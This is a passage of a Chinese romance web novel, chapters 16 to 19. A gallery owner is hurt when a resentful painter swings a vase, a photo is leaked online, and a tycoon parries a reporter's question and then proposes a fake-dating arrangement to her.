丁呈心底想必也是心虚的,不然也不会拉上了画廊的签约画家王木达和向锐,试图借助他们的支持让他有质疑的立场。
这话说完,丁呈的眼底果然浮起一丝被戳穿的厉色,他踱步到桌边,捻动花瓶里的雪天鹅,洁白的花瓣上,刹时多了一道道灰色的伤痕。
他看着被摧残的花朵,内心又多了一丝快感。知道了他私下卖画又怎么样呢?
“漂亮的玫瑰嘛——”他用力扯下未绽放的整朵花苞,举着碾过花的手指在鼻尖用力的吸了一口,语气轻蔑。
“——是为了被斩首而生长的头颅。”
乔西娅是个火爆脾气,看不惯他在办公室里糟蹋这些开的好好的花,冲上前想夺下花瓶,却不想,丁呈的手没松,反倒是抡起花瓶向乔西娅的方向一挥。
江熙宁看到花瓶砸向乔西娅,下意识伸手拦了一把,玫瑰的花刺擦过她的手,带出一条长长的伤口。
“啪”——
一声脆响,花瓶在地上碎的四分五裂,雪白的花瓣上,沾上一抹娇艳欲滴的红。
江熙宁吃痛的闷哼一声,她抬臂一看,胳膊上渗出血了。
“没事吧,宁宁。”乔西娅看见江熙宁的手被划伤,连忙抽过桌上的纸帮她止血。
“丁呈,你再这样我报警了!”
身后的王木达和向锐也被丁呈这举动吓到,“说好了只是来问清楚情况,你这是做什么?”
丁呈盯着碎片和花更有兴奋和狂热之意。经过上次私联藏家的事,他知道画廊之后不会再同他合作。
他一步步的走近江熙宁,“当然是来替你们问问画廊主啊,她想干什么?”
乔西娅愤怒的上前要和丁呈理论,被江熙宁拦了下来,她冷声道:“这次交易的藏家,并不是为了作品本身,这就是画廊不同意交易的理由。”
“不是冲画——”他的目光从上而下扫视江熙宁,目光在她流血的手臂上停住。
白皙的手臂和殷红的血,鲜艳夺目。
“冲你?”
“不好意思,”江熙宁眼里的愠色已然藏不住,她不想和这人继续浪费口舌下去。
“那还真是冲我来的。”
下一秒,她手心被迫一松,手机突然被丁呈抽走。
刚才江熙宁担心他有什么出格的举动,提前打开了相机,但没想到被他发现了。
“偷偷录证据啊。”
丁呈看了眼计时中的画面,突然露出一丝得意的笑。
乔西娅摸着口袋找自己的手机:“我今天非报警不可,抢他人财物。”
江熙宁提醒道:“那个手机是你的。”
乔西娅:“……”
听到这里,王木达和向锐虽然不明情况,但也大概猜到了丁呈和画廊不是那么好心只为了这件事出头,分明还带有他的私心。
“快把手机还给江总。”王木达伸出手。
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丁呈在手机频幕上操作了一番后,掌心向上,一脸玩味的递回。
“拍的不错。”
无头无脑的评价一句后,丁呈留下众人自顾离开。
乔西娅接回手机,脸顿时一僵,江熙宁见她神色古怪,问道:“怎么了?”
她接过乔西娅的手机,看到她和于付忱的照片,被丁呈发到了网上。
【华盈集团掌权人为哄画廊主理人,拍下画展所有作品。】
-
于付忱接手智颐科技后,各家主流媒体闻风而动,争相约稿这位年轻有魄力的企业家,但约到他采访的寥寥无几。
外界都在猜测,他这一次毫无预兆的到宁城,整顿这么个亏到裤衩掉的小破公司是意欲何为。虽然之前华盈的几次对外采访公开表示要着重在Ai领域发力,这两年已然投资了不少前景可观的项目。
恰好这一次由宁城政府牵头的科技大会,邀请了宁城各大科技公司出席,听说受邀的重磅嘉宾里面便有这位华盈集团的掌权人。
各家媒体早早的等在了现场。
这应该是于付忱在宁城第一次参加公开活动,谁能采访到他,意味着抢占了流量,能抢到一两句的采访,全年kpi都能完成了。
“今天来的记者也太多了吧。”
“可不是么,都铆着劲抢头版呢。”
“还以为这于总是拿了个空壳公司给他弟弟玩票,没想到他会亲自来。”
“那说不定,这个城市有其他什么吸引他来呢。”
“说不定是为了——”
记者没再继续说下去,因为此时所有人的注意力都被内场门口的人吸引。
于付忱阔步走来,目光无波无澜,但透着一股不容置疑的威慑力。发布会现场的灯光明亮,所有的镜头在他出现的那一刻,齐刷刷的对准了他。
没有抢到采访,至少要多抢到些照片。
于付忱在前排的位置坐下后没多久,主持人宣布发布会正式开始。
原本大会的发言的环节,于付忱婉拒了这一part,他只是受政府邀请友情站台。可是到了现场,政府领导讲完话,还是热情的邀请他上台说两句。
于付忱整理了下西装,从容的走上台。他简单的阐述了自己的观点,一两句话却具备了别人十倍的信息量。在专业的问题上,只言片语便让台下的嘉宾们消化了许久。有许多对于前沿技术的见解、分析,差点都让人以为他是个技术专家。
发言后,便是常规的提问环节,突然来的采访机会,各大媒体抓住了机会争先恐后地举手提问。
于付忱的每个回答都非常的简洁直接。
记者:“在众多ai项目中,您投资时通常会考量哪些?”
于付忱:“人。”
记者:“您为何会到宁城?是什么让你选择这里?”
于付忱:“人。”
“……”
此时,突然有一个记者捏着手机,站起身。
“您说的人,是网上说的……为了此刻画廊的画廊主吗?”
17. 第 17 章
提问环节结束,于付忱回到座位上,刚才提问的记者还想私下再找他采访两句,被他的保镖拦在两米开外。
会场上璀璨的水晶灯投射下来的光从上方洒落,映照在他身上,仿佛为他铸就了一道无形的屏障,周围的喧嚣和人群似乎都被隔离在外。
肖易和记者沟通一番后,回身走到于付忱身旁,“于总,打听到了。刚才画廊的公号发了一则动态。”
于付忱抬起眼,“什么动态?”
肖易把从记者手里要到的截图递给她,“是您第一次去画廊的时候,被人拍到和画廊主的照片。”
图片配的标题是:【华盈集团掌权人为哄画廊主理人,拍下画展所有作品。】
于付忱的目光扫过,微妙的顿了下。
“原帖链接。”他沉声道。
肖易补充道:“帖子……被删除了。”
没到两位数的阅读量,应该是发出来没多久就删了。刚才那位记者出于职业习惯,看到后眼明手快的截屏了内容,才有了采访环节的提问。
误发?但又不像。
如果这新闻是八卦媒体发的,那还能理解为博取眼球。肖易没弄明白画廊为什么突然放这么一则消息。
这个“哄”字,颇有一种娇嗔的意味,倒是很画廊主理人的风格。
难道,这是什么新型的钓系手段?
毕竟,他老板这张脸还这么帅。
肖易看了眼位子里的人,于付忱已经收回视线,问道:“今晚还有什么安排?”
肖易打开备忘录,看了眼行程表,“会议结束,主办方还有一场晚宴。”
“李秘书的意思是,也借着这个机会当给您来宁城接风了。”
于付忱嗯了一声,站起身向会场外走,“推了吧。”
参加这会已经是表明他给了领导们的面子,至于主办方,不过是想接着这个机会和他拉近些关系。
肖易跟在后面又问,“范老昨天问您有没有空去他家里小酌,时间我怎么安排?”
以往,每次来宁城,老板都要去陪范老小酌两杯。今天恰好空出了时间,周到的助理必须问问是不是要安排在今日!
于付忱脚步未停,侧过头:“你不是说,要我亲自去开车。”
肖易啊了一声,过了半响想起那天他哄骗老板的那句话。
听见前面的人又说了句。
“喝酒,怎么开车。”
“!”
-
江熙宁迅速删掉了丁呈发布在画廊的公众号上的帖子,从发布到删除,中间隔了两分钟,好在阅读的人还不多。
但有四个转发。
不知道是不是和于付忱沾上点边的事情,容易发生一些她预料不到的情况,她心底隐隐的不安。
比起丁呈发到网上的照片,乔西亚更担心江熙宁的伤口,“都什么时候了,先关心关心你自己吧。”
一条鲜红的伤口,从江熙宁的手腕一路延伸到小臂,被玫瑰刺划开的伤口深浅不一,看起来有些狰狞。
好在伤口这会儿已经没再流血了。
酒酒从办公室的抽屉里拿来医疗箱,紧张道:“那个丁呈也太可怕了。”
他那副样子,她都害怕他真的会失控打人。
“宁宁姐,你疼不疼?”
“不——嘶——疼!”
“疼疼疼!”
碘伏接触到破口的瞬间,江熙宁没嘴硬过两秒。
她痛觉比常人敏感,刺痛升级成了火辣辣的灼痛的时候,她倒吸好几口凉气。
“现在知道疼了。”乔西娅气江熙宁伸手出来替她挡的那一下,“冲出来护我干什么,要是他真动手了怎么办,就你这体格能打的过谁!”
江熙宁把头靠在乔西娅的肩上,咬着下嘴唇:“我是、心疼花。”
乔西亚哼她一声,涂药的动作却放的更轻,“以后这种人品的,别合作了。”
怕她看到有才气的艺术家,好了伤疤忘了疼,又强调了一句,“作品再好也不行!”
江熙宁痛的连连点头。
再签她是猪。
处理完伤口,乔西娅坚持要把她送回去。
“不用。”
上完药痛劲很快就过去了,江熙宁举着活动自如的手,“只是破皮而已。”
没到脱臼不能开车的程度。
乔西娅直接用行动拒绝了她。
到了芳满庭,乔西娅一眼看见停在车库里霸气的限量车,她用难怪你不让我送的眼神看向江熙宁。
“你有男人了?”
“……”
江熙宁打开门,“我金屋藏人了,你要不要检查检查?”
乔西娅被她逗笑,“那是谁的?养鱼的?”
“我哥?穷鬼一个……”
“……想也是。”
江熙宁:“是我哥新交的兄弟的。”
乔西娅一脸不信,“养鱼还能交到这么优质的兄弟?”
“……”
江熙宁把江印毕业后要入股智颐科技,以及那天于付忱送她回家的事情告诉了乔西娅。
乔西娅听完的第一反应是。
太巧了。
“又是于天文的哥哥,又是养鱼的兄弟,你不觉得这事儿有点别有预谋的那味儿?”
还有更巧的呢。
江熙宁刚想说于付忱还是李晋许的兄弟,听见乔西娅说:“我怎么觉着,你这校友对你有意思。”
“?”
乔西娅摸了把没有胡子的下巴,继续分析:“你想啊,他这么个有钱的主,为了追回几千万千里迢迢的跑来宁城,这显然不符合逻辑啊,有这功夫他都能赚出几个亿来吧。”
“我也觉得。”
“嗯?”乔西娅一脸你快说出内情的神情。
“但不是出于喜欢。而是他看我不顺眼,防止自己的亲兄弟和我扯上什么关系。”
乔西娅糊涂了。
江熙宁托腮,见吊足了乔西娅的胃口,才说道:“他是李晋许的兄弟。”
“说你娇气的那个。”
“昂~”
她和李晋许分手,中间的曲折弯绕乔西娅都知道。包括于付忱背后蛐蛐江熙宁。
这么一说,乔西娅便也打住了那些原本她认为极有可能的猜想。
这话题过了后,两人啃着薯片聊起了正经事:分析丁呈是怎么知道于付忱和画廊交易的事。
其实也没什么悬念。
丁呈知道的那么多细节,一定是有人知情人或者当事人告诉他的,知道退画这事儿的人,不超过一只手。
知道且希望不退画的,排除下来,几乎立马能锁定这拙劣闹剧的始作俑者。
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“我去找池延问清楚。”乔西娅一想又来了脾气,风风火火的走了。
等乔西娅走后,江熙宁去洗了个澡。洗完澡,担心衣袖磨蹭到伤口,她特意选了一件无袖的吊带裙穿上,不过这天气这么穿有点清凉,于是又开了热空调。
江熙宁一向没有在家做饭的习惯,姜明初喊她去家里吃饭,她这带伤的样子加上懒得动弹,便在手机上点了外卖。
十多分钟后,门铃被人摁响。
江熙宁批了一条披肩去开门。
然而来的不是外卖,而是于天文。
“你怎么来了?”看到他的一瞬,江熙宁眉头皱起。
“宁宁。”
于天文见到她,笑的开朗。
他今日心情十分好,他从母亲贺韫和肖易那分别打探到房子不卖了以及和画廊的协议还在进行后,特意绕了两条街去买了江熙宁喜欢的花来陪礼道歉。
“上次在你办公室里看到是这种玫瑰。”于天文递过去。
他猜她喜欢。
江熙宁看着他手里捧着的雪天鹅,皱了皱眉。
“丁呈那边,是你说的?”
于天文正酝酿解释的话,被她突然这么一问,愣住片刻:“你怎么知道?”
酒吧那天,池延给他出完主意,他其实没想好怎么让他哥退不了画,喝的差不多打算离开时,遇到Free的老板带着他朋友往二楼包间走。介绍之后,于天文才知道丁呈也是画家,而且这次的作品就也在江熙宁的画廊展出。
酒过三巡,这嘴也无遮无拦起来,他便提及画廊买画的事情来,后来的他就喝醉了,也不记得自己是怎么说的。
得到了肯定的回答,江熙宁觉得没有继续说什么的必要了。
她怕忍不住,想骂人。
“花拿回去,你也回去吧。”
于天文盯了她半晌,声音暗哑下来:“宁宁,你是不是还在生我的气?”
“你还没吃饭吧,我带你去吃好吃的好不好?”于天文哄她。
江熙宁努力让自己平静:“饭不吃了,别在我身上浪费时间。”
说罢转身往屋里走。
于天文见她还在生气,情急的当下想拦住她。江熙宁没有防备,披肩被带下,随之而来的疼痛让她脚步停住。
他拉的是她受伤的那只手。
止住血的伤口又重新裂开,鲜血沿着手臂流出来。
江熙宁生气了。
她面容平静,但是语气却毫无温度,像掺了冰块,“你抓到我伤口了。”
于天文这才注意到她裸露在空气中的手臂,内侧有一道褐色和鲜红交织的伤口。
“对不起,你怎么受伤了?我看看。”
感觉于天文手上的力度一松,江熙宁顾不上疼,用力抽开。
“放手。”
“宁宁,让我看看。”于天文去扯她另一只手。
这一次,他抓了个空。
一只修长的手一把提住伸向江熙宁的手。
江熙宁一愣,眨了眨眼,于天文的手像是自由女神像似的被来人提着。
确实是。
提着。
于天文吓了一跳,随即看清来人后惊呼出声,“……哥?”
于付忱眉目敛着,声音从头顶重重的压下:“让你放手,没听见?”
18. 第 18 章
于付忱依旧一身黑色西装,不过是比前几次更正式的款式,应该刚是从某个重要会议上匆匆赶来,身上还带着股沉稳压迫的气势。
他拽住于天文的这一下力道十足,于天文猝不及防,后退了两步才站稳。
于付忱看向江熙宁,她撩了一把披肩,盖住伤口。
“哥哥哥,疼。”
于付忱低头,目光压向于天文,墨黑的瞳仁里盛着愠色,手下的力道像要把他骨头捏碎。
“你也知道疼?”他听了个笑话似的,“我以为你听不懂人话呢。”
于天文扯出个痛苦面具。以前爷爷用那套军人式魔鬼体能法锻炼两人,他还颇为不屑。又苦又累,练出来的肌肉穿上衣服根本不显,远不如健身房无氧两天,再补点蛋白粉来的快、来的美观。可他今天发现,这两者的训练的效果简直天差地别。
他哥的力量几乎是压倒性的。
“肖易没和你传达我的话?嗯?”
自从画廊那一面之后,于付忱就再没联系过于天文,所有指示都让肖易传话。于天文心里明白,他哥是故意冷处理自己。谁让自己招他生气了呢?
要不是两人是亲兄弟,这家不赚钱的分公司,早就被砍掉八百回了。
“我不想走!”于天文嘴上强硬,声音却弱了下来。
江熙宁看着于付忱当着她的面冷脸教训于天文,无非是做个样子,先拿自家人开刀,表明态度,好让她不好再多说什么。
不知道这两人要在她家门口僵持多久。
罢了,她走。
她没兴趣当观众,也懒得掺和人别人家的事。
“你们继续。”
江熙宁说完转身回屋,留空间给两人尽情发挥。
门一关,于付忱才松开于天文的手,声音冷冷地压下:“我不养废人。”
于天文揉着手腕,嘟囔道:“之前……”我也挺废的啊。
他撇了撇嘴,把后半句忍了回去。
于天文对自己有清晰的认知,他很清楚自己并不擅长管理公司,对这事也没什么兴趣。企业越大,责任越重,责任越重,自由越少。他也不可能比哥哥更擅长这些,与其勉强应付,不如靠着他哥这棵大树逍遥自在。放古代,他就是个快活的王爷。
但很快,他美好的人生蓝图和愿景被他亲爱的哥哥无情打破。
“之前。”于付忱顿了顿,冷嗤一声,“至少你还有点用处。”
这话像根针,直接把于天文这个漏气好几天的气球戳了个透。他垂着头,默默跟在于付忱的身后往外走。
他哥这次比真格还真,否则也不会特意跑来江熙宁家堵他。不过,他哥怎么知道他在这儿?
于天文觉得他哥肯定在他身上装了定位器。
上次在画廊也是。
其实在画廊付完定金,于天文便知道这事儿迟早瞒不过他哥,但想着多拖一天,自己也许能先追上江熙宁。他索性掩耳盗铃故意断联两天。
结果没出一天,他哥本人闪现过来了。
不过他哥怎么知道那天他会去画廊?
还是说——
于天文忽然一怔,视线落在车库里的一抹黑影上。
是他哥的车。
有些念头,细想就经不起推敲。
“哥,你和宁宁……你俩认识?”
天正要黑不黑,小区的照明灯还未亮起。傍晚的光透过树影投在于付忱脸上,他的神情半明半暗,显得模糊不清。
“比你认识,早多了。”
-
江熙宁回屋过多久,外面便没有了动静。
她拿纸巾处理又渗出血的伤口,可能是洗澡的时候沾了水,加上刚才被于天文那么一扯,伤口隐隐泛红,有发炎的迹象。
找了一圈,家里没有碘伏,她只好用酒精湿巾暂时对付一下。
收拾完后,她打开投影挑选今晚的“电子榨菜”,随手在热门电影里选了部漫威的《旺达幻视》。
接着,她点开外卖app看了一眼,外卖显示已到她家门口25米处。
与此同时,门铃被人扣响。
江熙宁暂停影片去开门。
这次站在门口的依旧不是外卖小哥。
“你怎么还没走?”她一愣,看着远处正加速离开的外卖小哥,再转向于付忱。
他手里提着她的外卖,淡然道:“我来开车。”
江熙宁又探头看了一眼,于天文不在。
她引着他往车库走去。
等于付忱上了车,江熙宁站在一旁抱臂等他开出门,嘴角微翘:“慢走。”
不送!
正当她准备转身离开,车窗却缓缓摇下,露出于付忱那张冷峻的脸。
“江熙宁。”
他的声音低沉,像带着某种特别的分量,叫得她心里一颤。还是第一次听他喊自己的名字。
竟还挺……磁性。
江熙宁顿了顿,挑眉问:“有事?”
“有事?”
于付忱没有多说,“上车,聊聊。”
江熙宁站着没动,偏头看向他。他们之间还有什么好聊的?说到底,如果真有未尽的话,百分之百跟于天文脱不了关系。
夜风有点冷,她裹紧披肩,打开车门钻了进去。
好,既然要聊,那就索性把话说明白。
于付忱坐在车里,看着她气鼓鼓地上车,双手抱臂,微微嘟着嘴,带着几分不满。
为了拉开距离,江熙宁特意避开了副驾驶,选了后座。一上车才发现正落在后视镜的范围里。这样一来,于付忱的目光毫无障碍地落在她身上。
她不甘示弱,迎着他投来的目光瞪了回去,语气里带了几分先发制人的意味:“是你弟弟缠着我。”
“我知道。”
知道?
于付忱的回答倒是出乎了江熙宁的意料。既然知道,那还找她说什么。
沉默片刻,于付忱侧身,示意她看手机。
江熙宁低头一看,屏幕上是他的好友申请,愣了愣。
这是什么意思?她人就在这儿,“有事不妨直说。”
见她不通过,他递过手机,是一张帖子截图。
所以他本来是想发这张截图给她。
靠!就知道那四个转发一定有坏事的。
“我要是说,不是我发的你信不信。”
“信。”
江熙宁知道于付忱不是拎不清的人,她尽量简单了说明了一下事情的经过,最后理直气壮的总结,“这件事,军功章可有你弟弟的一半。”
她可也是受害者,什么都没做。
转念一想,于付忱似乎也是。
不管怎么说,帖子是从画廊的公号里发出去的,这一点,她确实脱不了干系。
“那你希望画廊怎么补偿你?”
隔着后视镜,于付忱的目光被镜面拉得幽深漫长,他这样看着她,让江熙宁生出一瞬无处可避的错觉。
短暂的沉默后。
他开口:“我弟弟现在显然对你上了心,而你似乎并不感兴趣。这样理解没错吧?”
江熙宁微扬下巴,感觉到他话中的某种暗示,心想,不然?
紧接着,他的目光一收,语气稳沉而意味不明:“不如我们合作一把,如何?”
-
江熙宁还没搞清楚“合作”的具体内容,先被于付忱送来了医院。
与其说送,不如说押更贴切一些。
因为他根本没给她拒绝的权利。
当于付忱问她要不要合作时,江熙宁没打算答应。家里已经有一个江印与虎谋皮,她就不了。
她甚至连合作的内容都不想听。
刚想下车时。
咔哒一声,于付忱直接把车反锁了。
然后直接开车来了医院。
“先处理你的伤口。”他说。
到了医院,门诊的医生已经下班了,江熙宁是在急诊挂了个号。
值班的护士看了眼湿润发亮、有轻微渗液的伤口边缘,问道:“碰水了?”
江熙宁听到这话,如实的回答洗了个澡。
护士摇头:“碰水了得重新处理,不然会发炎。”
虽
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然疼,但说到底不过是个小伤,所以她也没太在意。
“也没有那么……”
“娇气”两个字到了嘴边,被她咽了下去。
江熙宁意识到边上还站着一个讨厌娇气的人。她突然灵光一动,想和她合作,抱歉哦,她可不想。她要让于付忱彻底打消有的没的的念头。
“护士小姐姐,你可得好好处理。”她故意说的娇声道:“我可怕疼~”
余光中于付忱万年冰山的脸,眉梢抽了一下。
护士温柔的应下。
但事实是,根本不需要装。因为有轻微渗液,护士清理比乔西娅更仔细、更深入。碘伏棉棒碾过伤口,没撑过两秒,她眼眶就湿了。
护士在一旁耐心安抚:“忍耐一下,长这么漂亮,总不想留疤吧?”
江熙宁眼里噙泪,说话都带颤音带拐:“怕~~的~~
……
江熙宁捏紧拳头、咬紧牙关时,护士朝一旁的于付忱说:“男朋友别傻站着,给点力量?”
“他不是——”江熙宁正要反驳,一只手从她肩后绕过,轻柔地落在头顶。
拍了拍。
这一刻,时间仿佛静止了。医院的喧嚣也听不见了。只有于付忱的声音清清楚楚的砸到她耳朵里。
“你最漂亮。”
于付忱的语气依旧冷淡,没什么温度,但是动作却很轻柔。一股不属于江熙宁的体温,顺着宽厚的掌心,瞬间经有她的脑袋蔓延至全身。
痛感真的奇迹般地消失了。
因为那一刻,江熙宁感觉自己的肾上腺素直冲天灵盖。
这个男人,他在干什么???
在她脑袋僵住宕机的两秒里,护士迅速处理完了伤口,于付忱也收回了手。
护士收走药瓶离开时又补了一句:“果然这时候还是男朋友的安慰有用。”
“……”
直到离开护士站,江熙宁都没觉得疼,倒是觉得莫名的热。
她挽了一把耳边的头发,耳根是烫的。
医院的空调就是给力,让她觉得噪意也跟着起来。
“现在可以说了?”
“换个地方说。”
“……”
这人是不是讲究了一点?
但江熙宁确实饿的没脾气,痛也痛了,索性也随他去。反正也不要她开车。
于付忱带着她来到了一家餐厅,是她喜欢的精致漂亮的创意餐厅。
停好车进去后,服务员将他们直接领进了包厢,菜已经提前上齐了。江熙宁看了眼,几乎都是她喜欢的菜。
也有她不吃的。
比如那道清蒸鳓鱼,鱼刺多到离谱。
要不是有这道她不吃的菜,她真要再思考思考乔西娅的那番话,他是不是真的暗恋她已久。
不过现在也没工夫想这些,肚子一阵饥饿感袭来,合不合作,先吃饱了再说。
江熙宁坐下来,认认真真的吃起了饭。
于付忱似乎是不怎么饿,全程只慢条斯理的攻略他面前的那道清蒸鳓鱼,用公筷夹着鱼肉,细心挑完鱼刺。
然后,他将白如脂霜般的一碗鱼肉放到了她的面前。
江熙宁防备的看他,“干嘛,你的合作内容,包含了这些福利?”
无利不起早。又是送医院,又是安抚,又是挑鱼刺的。
于付忱只是拿起湿巾,细致地擦拭着手指,淡淡地回答:“如果你答应的话,是的。”
他说这话时,江熙宁低头戳了一筷子他挑完的鱼肉放嘴里品尝。鱼肉入口即化,细腻鲜香,刺被挑的很干净。
如果有服务评价,她一定会毫不犹豫地给五星好评。
江熙宁忍不住又去夹了一块。
大概是在医院时护士一口一个男朋友,让她对于付忱今日难得的细心形成了条件反射,她漫不经心的道:“总不能是做你女朋友吧。”
话脱口而出后,江熙宁就意识到嘴瓢了。
她一顿,抬头看去。
于付忱正看着她,没反驳。
江熙宁人生头一回,被鱼肉卡了喉咙。
19. 第 19 章
于付忱停止擦拭,身子微微后靠在椅背上,不疾不徐道:“与其说是合作,不如说是互相帮忙。”
“你如果不想我弟弟继续缠着你的话,我的建议应该会是你最佳的解决方案。”
江熙宁眸光微动。
于天文这几日闹出的事端不仅给她带来困扰,对于付忱来说同样也是不省心的存在。于付忱的经济制裁非但没让于天文乖乖的回青城去,反而让于天文越挫越勇,和他公然对着干。
于付忱行事向来果断、理性、无情,目的达到就好。
至于方式方法不重要。
他要的是快速解决问题。既然解决问题没有用,那么他就解决引起问题的人。
而这个人,就是她。
“于总都说了,是最佳。”江熙宁说话时眼神清亮:“但不是唯一方案。”
若是需要一个假男朋友来劝退于天文,她大可以找姜明初或者江印帮忙。
犯不着和他于付忱合作。
况且,他俩是可以合作的关系?
“所以,不必了于总。”江熙宁扯了个笑,拒绝了他的提议。
于付忱听完她的话没有太多表情波动,只是静静地看着她,似乎这拒绝也在他的预料之中。
窗外的夜色深了几分,包厢里静默下来。
就在江熙宁以为他不会再说什么准备开口道别时,于付忱开口:“但江小姐。”
他语气一顿,嘴角轻扯,“似乎是我的唯一解。”
-
隔天,一则关于江熙宁和于付忱的新闻上了热搜。
等江熙宁知道她上了热搜时,两人已经被吃瓜网友造谣的风生水起。
乔西娅把于付忱的采访视频发她看,“宁宁,爆炸新闻!”
江熙宁点开。
镜头中的宴会厅宽阔明亮,于付忱站在中央,周围的记者们纷纷抛出问题。大家对于华盈集团的掌权人,来宁城的目的都十分的感兴趣。
然而,于付忱的回答始终简洁明了,言辞简洁、惜字如金。一个“人”字应付了无数问题。
直到有记者提问:“”您说的人……是此刻画廊主理人吗?”
江熙宁看到这,心头猛地一紧,呼吸也跟着停顿了片刻。难怪于付忱那天会拿着那截图来找她。记者一定是也看到了画廊发的消息。
会场瞬时鸦雀无声。所有目光齐齐聚焦在这位年纪轻轻,却掌控着华盈集团庞大商业帝国的年轻掌权人身上。
于付忱没有立刻回答。
主持人注意到着问题的八卦性质,立刻出声制止记者,试图转移话题,“请不要问和大会无关的问题哦。”
但记者显然不想放过这个挖到爆炸新闻的机会,略微转了话锋,继续追问:“那您是否和画廊在签约呢?也是为了‘人’吗?”
记者特意加重了“人”字。
这个问题问的十分刁钻,于付忱回答“是”无异于默认前者。如果回答“不是”,那不符合事实。处理不好,便是对华盈的一次信誉危机。
江熙宁在屏幕外都替于付忱冤枉,莫名其妙的一顶帽子扣在于付忱的头上。
片刻的安静后。
于付忱神色未改,不答反问:“您刚刚说的人,指的谁?”
记者问具体时,他玩起了模糊。
记者想模糊,他却要问具体。
这一番迂回,记者什么都没问出来,反倒被于付忱问愣在原地。
于付忱那一个简洁的“人”回答,并没有具体的指向,给了画廊公关的空间。
视频播放完毕,江熙宁继续向下翻着评论说道:“联系媒体做几篇正向的报道,指明华盈集团是冲着艺术的价值买画。”
以他一贯低调、严谨的公众形象,加上当时凌然的态度,想必不会让艺术家对这一切有所微词。
尽管艺术家们不会有异议,但耐不住网友们发散思维,嗑起了两人的cp。
【我看两人般配!要不在一起得了?】
【不敢想象他们的孩子该有多好看!】
【????当事人承认了?】
【如果是真的,我磕一口怎么了,反正是真的;如果是假的,我磕一口怎么了,反正是假的。】
江熙宁扶额:“……”
“事情都解决了,晚上喝一杯去?顺便庆祝我要分手了。”乔西娅提议。
“分手?”江熙宁疑惑的看向乔西娅,“你玩腻了?”
乔西娅:“你受伤这事儿,也有池延这家伙的份!都是这家伙怂恿的。”
昨天乔西娅从江熙宁家离开后找到池延,二话不说和他先干了三瓶红酒,池延被灌的晕晕乎乎,经不住乔西娅气势汹汹的盘问,便把裤衩底都交代了。
“于天文因为他哥退画的事情自尊心受损,所以池延这家伙出了个馊主意。让于天文把买画这事儿安在他哥的头上,然后透露给媒体,利用舆论力量逼于付忱放弃退画的打算。”
于付忱的一言一行背后是整个华盈,失信和毁约对于集团的信誉有着很大的损害。
“那天,他们在酒吧喝酒,还遇到了一个人。”
江熙宁想也没想:“丁呈。”
“你知道?”乔西娅有些意外。
池延听乔西娅提起江熙宁受伤后,才意识到这件事竟然牵扯到了她,这才提到那晚在酒吧遇到丁呈的情形。当时他和于天文都喝得有些多,于天文一上头便把这事儿提前说了出去,没想到丁呈会跑去画廊找麻烦。
江熙宁听完乔西娅的话理清了整个事情的全貌,她简短的说了昨天于天文来家里找她的事。
乔西娅就更来气了,“这手,必须分!”
江熙宁劝她别冲动,“至少也别是因为我。”
乔西娅白她一眼,“神经啊,要细究起来,也是你那校友造的孽,和你有什么关系。要不是他卖于天文的房、退画廊的画,于天文就不会中找池延喝酒。不找池延喝酒,那都没有后面的事了。”
见乔西娅说的头头是道,江熙宁被逗笑:“那你找他负责呗。”
“于付忱那边发来了三方协议,但我听肖易的意思是,这是签约协议,不走解约流程。”乔西娅笑眯眯的说道:“稍微有被安慰到一点。”
“……”
江熙宁飞过去一个你是懂铺垫的眼神。
“你不答应签约,除非赔我一个男、朋、友。”乔西娅一字一句道。
“……”
江熙宁确实找不到拒绝的理由。于付忱在记者会上的回应,等同于公开承认了自己确实在画廊购买过画作。即便他的出发点是为了维护华盈的形象,但也在无形中帮了画廊一把。如果他说和画廊在走解约,那么这件事后续,毫无疑问矛头会指向画廊。
那时候,江熙宁要面对的,就不是一个丁呈了。
而且他与画廊的签约,可以说百利而无一害。
由于于付忱的影响力和近年来在公开场合的活跃,采访视频一出,迅速引发了网络关注。再加上有吃瓜网友挖出了画廊删掉的帖子,成了两人关系的“铁证”。
江熙宁略头疼的关掉了评论。
似曾相识的场景让她莫名想起了,当初和李晋许在一起也是因为毫无根据的谣言。
大学时,她因为睡眠问题很少在宿舍住。她和室友们的关系自然也就淡了些,对学校的动向也知道的比较少。有一次,她去宿舍取下午课上要用的书,柳笑笑突然跑来告诉她,学校论坛
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里在评选校草校花,她是票选第一。
也是在那之后没多久,学校里开始传起她和校草李晋许在一起了。那时候,江熙宁根本不认识李晋许。两人一个经院、一个艺术学院,校区隔着老远。
但因为这些拉郎配传言,两个八杆子打不到的人,突然有了交集。
那天江熙宁从行政楼离开,路过人头攒动的篮球场时,场上的23号跃起出手,三分一举命中。
全场瞬间沸腾,欢呼声如潮涌般响起。
她朝球场看去,23号在球场飞跑一圈,笑容肆意张扬,随后在空中与队友激烈撞肩。
有队友注意到场边的江熙宁,撞了撞他的胳膊。他的视线随之转过来,那是一张英俊的脸,带着丝毫不掩饰的傲气。
生命力,是江熙宁看到李晋许,脑子里蹦出来的第一个词,像梵高笔下热烈张扬的向日葵。
李晋许一连丢了几个球后,队友起哄,“别看了,再看分丢完了!”
他扬起下巴,笑得张狂:“怕什么,老子再去抢回来!”
再之后遇到李晋许,是在江熙宁的专业课上,他笑着盯着她,挑眉问道:“你就是我的,绯闻女友?”
从那之后,两人在学校里碰到的次数越来越多。食堂、图书馆、画室。每次他都和她打招呼,“你好啊,绯闻女友。”
后来两人在一起,他笑的恣意:“你好啊,女朋友。”
两人真的走到了一起,论坛里磕两人cp的校友们纷纷吃瓜过年,称赞他们最般配。
几乎所有人都看好和祝福两人时,只有一人除外。
江熙宁记得那是国庆假期,她和李晋许在一起两个月。因为江印回国,她婉拒了李晋许制定的短途旅行计划。从小到大,她出去玩都是熬鹰体验拉满。认床、觉轻、睡不着,让她没办法享受玩本身,便以江印回国为由拒绝了他。这让李晋许有些不满。
假期收尾最后一天江印辉学校。李晋许说和室友们在画里江边附近垂钓聚餐,江熙宁心有愧疚便想着去哄哄他。那一日,李晋许喝的有些多,江熙宁知道他心里不舒服,替他拦下了两杯。
她没什么酒量,后半程有些醉意。便找了个安静的角落和阖眼休憩等聚会结束。
半睡半醒间,她听见一道冷质的声音:“她不适合你。”
昨天在饭桌上,江熙宁把这句话也还给了当事人。
“我不适合你。”
于付忱听到这话抬头,挑了下眉毛,“江小姐,不妨说说。”
听他一口一个江小姐,江熙宁有点不耐烦,提醒他:“你应该认出我来了吧。”
似乎没想到她会主动提,于付忱眼神一顿,但很快又恢复如常,不假思索地“嗯”了一声,毫无掩饰。
就知道!
江熙宁莫名的有些恼意,一双眼睛,直直的盯着眼前的人。既然知道,“那你现在提这个方法有觉得哪里合适?”
我可是你兄弟的前女朋友诶。
